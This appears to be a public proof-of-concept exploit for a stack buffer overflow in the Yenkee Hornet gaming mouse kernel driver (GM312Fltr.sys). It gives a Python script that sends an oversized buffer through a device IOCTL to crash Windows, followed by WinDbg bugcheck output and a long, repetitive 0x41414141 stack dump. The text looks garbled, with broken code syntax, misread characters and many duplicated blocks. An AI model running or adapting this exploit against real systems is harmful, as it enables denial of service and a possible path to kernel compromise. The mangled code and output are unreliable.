```
K
```

```
# Exploit Title: Yenkee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial-Of-Service
(PoC)
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: all version
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.yenkee.eu/gaming-mouse-hornet-aim/yms-3029
# Reference: https://github.com/Quadron-Research-
Lab/Kernel_Driver_bugs/tree/main/GM312Fltr

import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "GM312Fltr"
```

```
ioctl = 0x22245C
ioctl_list = '''
0x22245C
0x222440
0x222441
0x222400
0x222404
0x222408
0x222420
0x222424
0x222448
0x222450
0x22245c
0x222460
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GM312Fltr", 0xC0000000, 0, None, 0x3, 0,
None)
if not hevDevice or hevDevice == -1:
    print ("Not Win! Sorry!")
else:
   print ("OPENED!")
   buf = 'A' * 2000
   bufLength = 2000
    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0,
byref(c_ulong()), None)
[Bugcheck Analysis]
Fatal System Error 0x000000f7
(0xBEBEA1CAEAF0A2C1,0x0000F80736BC1742,0xFFFF07F8C943E8BD,0x000000000000000000)
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus
fffff807`2e1feb90 cc
                                         int 3
0 kd !analyze
Connected to Windows 10 19041 x64 target at (Mon Jun 14 204816.370 2021 (UTC +
200)), ptr64 TRUE
Loading Kernel Symbols
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that
take too long.
Run !sym noisy before .reload to track down problems loading symbols.
Loading User Symbols
Loading unloaded module list
. . . . . . . .
```

```
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer. This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned. This is the classic buffer overrun
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments
Arg1 bebea1caeaf0a2c1, Actual security check cookie from the stack
Arg2 0000f80736bc1742, Expected security check cookie
Arg3 ffff07f8c943e8bd, Complement of the expected security check cookie
Arg4 0000000000000000, zero
Debugging Details
BUGCHECK CODE f7
BUGCHECK_P1 bebea1caeaf0a2c1
BUGCHECK_P2 f80736bc1742
BUGCHECK P3 ffff07f8c943e8bd
BUGCHECK P4 0
PROCESS_NAME pythonw.exe
SYMBOL_NAME GM312Fltr+e1e
MODULE_NAME GM312Fltr
IMAGE_NAME GM312Fltr.sys
FAILURE_BUCKET_ID 0xF7_MISSING_GSFRAME_STACKPTR_ERROR_GM312Fltr!unknown_function
FAILURE_ID_HASH {b8e05604-2a11-789a-ad29-fc4916710f2d}
         MachineOwner
Followup
0 kd kb
RetAddr
                 Args to Child
Call Site
fffff807`2e312d12 fffff807`344a4ae0 fffff807`2e17d000 00000000`000000000
00000000`00000000 nt!DbgBreakPointWithStatus
fffff807`2e3122f6 00000000`00000003 ffffff807`344a4ae0 fffff807`2e20bbc0
00000000`000000f7 nt!KiBugCheckDebugBreak+0x12
fffff807`2e1f6df7 fffff807`344a5210 000000000`00000000 fffff807`36bc18c8
fffff807`344a51a8 nt!KeBugCheck2+0x946
fffff807`36bc0e1e 00000000`000000f7 bebea1ca`eaf0a2c1 0000f807`36bc1742
ffff07f8`c943e8bd nt!KeBugCheckEx+0x107
fffff807`36bc0ea7 fffff807`344a5210 000000000`00000000 fffff807`344a5748
fffff807`344a5720 GM312Fltr+0xe1e
fffff807`2e1ffbaf fffff807`36bc0e94 00000000`00000000 00000000`00000000
00000000`00000000 GM312Fltr+0xea7
fffff807`2e087547 fffff807`344a5710 00000000`00000000 ffffe08b`abb1e380
```

```
fffff807`36bc0b5d nt!RtlpExecuteHandlerForException+0xf
fffff807`2e086136 ffffe08b`abb1dcf8 fffff807`344a5e20 ffffe08b`abb1dcf8
ffffe30a<sup>242183c0</sup> nt!RtlDispatchException+0x297
00000000`00000000 nt!KiDispatchException+0x186
fffff807`2e1f7b50 ffffff807`2e208da5 00000000`ffffffff fffff807`2e0c3216
00000000`00000010 nt!KxExceptionDispatchOnExceptionStack+0x12
fffff807`2e208da5 00000000`ffffffff fffff807`2e0c3216 00000000`00000010
00000000`00000246 nt!KiExceptionDispatchOnExceptionStackContinue
fffff807`2e204ae0 fffffe30a`1ce27c00 fffffe30a`1ce21010 00000000`00000000
00000000`00000000 nt!KiExceptionDispatch+0x125
fffff807`2e1fe0c7 fffff807`2aab9180 000fa40d`b19b3dfe ffffe30a`27381080
fffff807`2eaea710 nt!KiGeneralProtectionFault+0x320
fffff807`2e1fda76 7fffe30a`29e4bb10 00000000`ffffffff 00000000`00000000
00000000`00000000 nt!SwapContext+0x377
fffff807`2e00c970 ffffe30a`00000006 000000000`ffffffff 00000000`00000000
ffffe30a<sup>24218498</sup> nt!KiSwapContext+0x76
fffff807`2e00be9f ffffe30a`27381080 fffff807`36b819b6 ffffe08b`abb1e270
00000000`00000000 nt!KiSwapThread+0x500
fffff807`2e00b743 ffffe30a`00000034 000000000`00000000 ffffe30a`23c6d800
ffffe30a`273811c0 nt!KiCommitThreadWait+0x14f
fffff807`36bc0ca2 fffffe08b`abb1e350 ffffff807`00000000 000000000`000000000
00000000`00004100 nt!KeWaitForSingleObject+0x233
fffff807`36bc0b5d ffffffff`ff676980 00000000`00000000 00000000`00000b8
fffff807`35142017 GM312Fltr+0xca2
41414141 41414141 GM312Fltr+0xb5d
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
```

```
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141`41414141 0x41414141`41414141
```

```
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141`41414141 0x41414141`41414141
```

```
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141`41414141 0x41414141`41414141
```

```
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`4141414 0x41414141`41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141`41414141 0x41414141`41414141
41414141 `41414141 Ox41414141 `41414141
41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
41414141 41414141 0x41414141 41414141
41414141`41414141 0x41414141`41414141
```



